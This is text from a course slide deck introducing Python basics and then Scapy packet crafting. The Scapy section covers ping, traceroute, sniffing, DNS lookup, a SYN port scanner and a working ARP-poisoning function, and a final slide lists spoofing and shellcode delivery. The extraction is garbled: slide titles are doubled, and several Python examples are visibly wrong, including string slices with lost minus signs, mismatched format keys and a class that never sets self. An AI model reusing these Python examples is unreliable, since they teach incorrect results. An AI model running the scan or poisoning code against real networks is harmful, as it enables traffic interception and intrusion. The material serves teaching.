root@cript# Python and Scapy Python and Scapy
root@cript#
Python and ScapyPython and Scapy
root@cript#
Python IntroductionPython Introduction
root@cript#
Basics: VariablesBasics: Variables
Python is a dynamically-typed language:value = "Hello"value = 84/2
The last computed value is represented with _:84/2value = _
Concatenation occurs with + (or ,):value = "Monty " + "Python"value = "Monty", "Python"
Repetition occurs with *:value = "Hello"*5
root@cript#
Basics: PrintingBasics: Printing
Use either set of quotation marks, but be consistentprint "Hello"print 'Hello'print "'Hello', says John"print '"Hello", says John'
Multi-line strings are easy, use triple quotes (e.g. """)
print """This is a multiline sentence,which I'd like to print."""
root@cript#
Basics: StringsBasics: Strings
String indexing is very flexible in Python:
value = "CRIPT"value[0] # "C"value [1:3] # "RI"value [:3] # "CRI"value [3:] # "PT"value [1] # "T" (1: last char)value [2:] # "PT" (2: 2nd last char)value [1:1] # "RIP"
root@cript#
Basics: StringsBasics: Strings
Strings also have many other useful operations:
value = "RIP IT CRIPT"value.count("RIP") # 2value.find("RIP") # 0value.rfind("RIP") # 8value.startswith("RIP") # Truevalue.endswith("IPT") # Truevalue2 = "for {0} years" # Python 3.0+value2.format("99") # 'for 99 years'value3 = "for %(0)d years" # Python 2.6value3 % {"val": 99} # 'for 99 years'
root@cript#
Basics: StringsBasics: Strings
Strings also have many other useful operations:
value = "CRIPT"value2 = "12"value3 = "hi there jim"value.lower() # 'cript'value.isalpha() # Truevalue2.isdigit() # Truevalue.rjust(8) # ' CRIPT'value.ljust(8) # 'CRIPT 'value3.split(" ") # ['hi','there','jim']
root@cript#
Data Structures: ListsData Structures: Lists
Lists are similar to strings, but lists elements are writable
list = ['i','am','hungry']list[1:] # ['am','hungry'], like strings
list = ['b','e']list.append('f') # list:['b','e','f']list.insert(0, 'a') # list:['a','b','e','f']list.remove('b') # list:['a','e','f']list.pop() # 'f', list: ['a','e']list.pop(0) # 'a', list: ['e']
root@cript#
Data Structures: ListsData Structures: Lists
List iteration is easy:
list = [1,2,3]for item in list: print 'item:', item
So is list comprehension:
# all x, such that x is in [0..10]list1 = [x for x in range(10)]list2 = [ x for x in list1 if (x % 2) == 0 and x < 5 ]
root@cript#
Data Structures: StacksData Structures: Stacks
The list operations make it easy to implement stacks:
stack = []stack.append(1)stack.append(2)stack.append(3)stack.pop() # 3stack.pop() # 2stack.pop() # 1
root@cript#
Data Structures: QueuesData Structures: Queues
The list operations make it easy to implement stacks...and queues:
queue = []queue.append(1)queue.append(2)queue.append(3)queue.pop(0) # 1queue.pop(0) # 2queue.pop(0) # 3
root@cript#
Data Structures: DictionariesData Structures: Dictionaries
Most languages have dictionaries (aka hash tables, property lists):
params = {"numQueens":8, "bandwidth":3000}params["numQueens"] # 8
root@cript#
Control Structures: ifControl Structures: if
Conditionals are similar to those used in scripting:
if value == 0: print "The value is zero"elif value < 0: print "The value is negative"else: print "The value is positive"
root@cript#
Control Structures: forControl Structures: for
Loops follow a similar syntactic structure:
list = range(10)for x in list: print "The value is {0}.".format(x)
sentence = 'i went to the store'list = sentence.split()for i,x in enumerate(list): print i, x
for x in sorted(set(list)): print x
root@cript#
Control Structures: tryControl Structures: try
try/except/else is like try/catch/finally in Java:
userinput = raw_input("Enter a num: ")value = 0try: value = int(userinput)except ValueError: print "Invalid number!"else print "Value:", value
root@cript#
Modularity: functionsModularity: functions
Functions can be defined in the traditional way:
def times2(n): """ This function returns the number times two """ return n*2
... or using Lambda notation
times2 = lambda n : n*2 # n, n λ ╳ 2
root@cript#
Modularity: classesModularity: classes
Classes can be defined in the traditional way:
class Chat: serverIP = "" serverPort = 8888 def __init__(self, ip, port): serverIP = ip serverPort = port def sendMessage(self, message): if hasattr(self, 'nickname'): print self.nickname + ": " + message else: print "Anonymous: " + message
root@cript#
Modularity: classesModularity: classes
Inheritance is also possible:
class InternetChat (Chat): def sendMessage(self, message): print "Internet messaging goes here!"
root@cript#
Modularity: objectsModularity: objects
Objects can be instantiated, but are also dynamic (like other types in Python):
>>> myChat = Chat("1.2.3.4",7777)>>> myChat.sendMessage("Hello")Anonymous: Hello>>> myChat.nickname = "rfortier">>> myChat.sendMessage("Hello")rfortier: Hello>>> del myChat.nickname>>> myChat.sendMessage("Hello")Anonymous: Hello
root@cript#
Extras: RegEx MatchingExtras: RegEx Matching
Regular expressions are powerful, yet very easy in Python:
import rere.findall('a[ab]*b', 'ab aaa aabb bbb')# output: ['ab', 'aabb']
root@cript#
Packet Construction with ScapyPacket Construction with Scapy
root@cript#
ScapyScapy
Scapy can be used to:Explore network protocols and headersWrite network-enabled applicationsConstruct packets for security purposes
e.g. Spoofed packets
root@cript#
Scapy: BasicsScapy: Basics
To see the supported protocols:ls()
To find out details about a specific protocol:ls(DNS)
To see the available commands (i.e. Python functions):lsc()
root@cript#
Scapy: BasicsScapy: Basics
Here is some sample code showing how to:Create a TCP segment, inside an IP datagramDisplay the TCP segmentSend it to some host (192.168.1.1), port 22Display any response
sendPacket = IP(dst='192.168.1.1')/TCP(dport=22, sport=RandShort(), seq=RandShort())
sendPacket.show2()response = sr1(sendPacket)print "Received a response:"response.summary()
root@cript#
Scapy: Creating PacketsScapy: Creating Packets
You can create packets individually or in groups:
packet = IP(dst='192.168.1.1')/TCP(dport=22, sport=RandShort(), seq=RandShort())
packets = IP(dst='192.168.1.0/29')/TCP(dport=[22,80], sport=RandShort(), seq=RandShort())
[p for p in packets]
root@cript#
Scapy: Sending and ReceivingScapy: Sending and Receiving
There are several ways to send (and receive) packets in Scapy:
packet = IP(dst='192.168.1.1')/TCP(dport=22, sport=RandShort(), seq=RandShort())
// send packet at layer 3send(packet)
// send packet at layer 2sendp(Ether()/packet)
// send packet (L3) and receive one responseresponse = sr1(packet)
// send packet (L3) and receive all responsesanswered,unanswered = sr(packet)
root@cript#
Scapy: PingScapy: Ping
We have just about enough information to write our own ping function (default ICMP type is 'echo'):
def ping(host, repeat=3): packet = IP(dst=host)/ICMP() for x in range(repeat): response = sr1(packet) response.show2()
root@cript#
Scapy: TCP PingScapy: TCP Ping
...and ping using TCP on port 22:
def sshping(host, repeat=3): packet = IP(dst=host)/TCP(dport=22, sport=RandShort(), seq=RandShort())
for x in range(repeat): response = sr1(packet) response.show2()
root@cript#
Scapy: TracerouteScapy: Traceroute
...and traceroute:
def mytraceroute(host, maxttl=8): ipps = IP(dst=host,ttl=(1,maxttl)) ans,unans = sr(ipps/ICMP()) for sent,rcvd in ans: print sent.ttl, rcvd.src
root@cript#
Scapy: SniffingScapy: Sniffing
...and a packet sniffer:
results = sniff(count=10)results.summary()
root@cript#
Scapy: DNS ResolutionScapy: DNS Resolution
...and a resolver:
def resolve(host): dns = DNS(rd=1,qd=DNSQR(qname=host)) response = sr1(IP(dst='192.168.1.1')/UDP()/dns); if response.haslayer(DNS): answer = response.getlayer(DNS).an answer.show()
root@cript#
Scapy: Port ScanningScapy: Port Scanning
...and a port scanner (and SYN scan, in this case):
def synscan(host): ports = range(1000) ip = IP(dst=host) tcp = TCP(dport=ports,flags="S") ans,unans = sr(ip/tcp) for sent,rcvd in ans: if rcvd.haslayer(TCP): if rcvd.getlayer(TCP).flags & 2: print sent.dport
root@cript#
Scapy: ARP PoisoningScapy: ARP Poisoning
...and ARP poisoning:
def arppoison(target,spoofed_ip,mac): packet = ARP() packet.op = 2 packet.hwsrc = mac packet.psrc = spoofed_ip packet.hwdst = 'ff:ff:ff:ff:ff:ff' packet.pdst = target send(packet)
root@cript#
Scapy: Other PossibilitiesScapy: Other Possibilities
There is a whole lot more than Scapy can do:DNS poisoningCustomized port scanningFuzzing network protocolsSending exploits (incl. Shellcode) via TCP, UDPIP spoofing (except for sequence number prediction)Network applications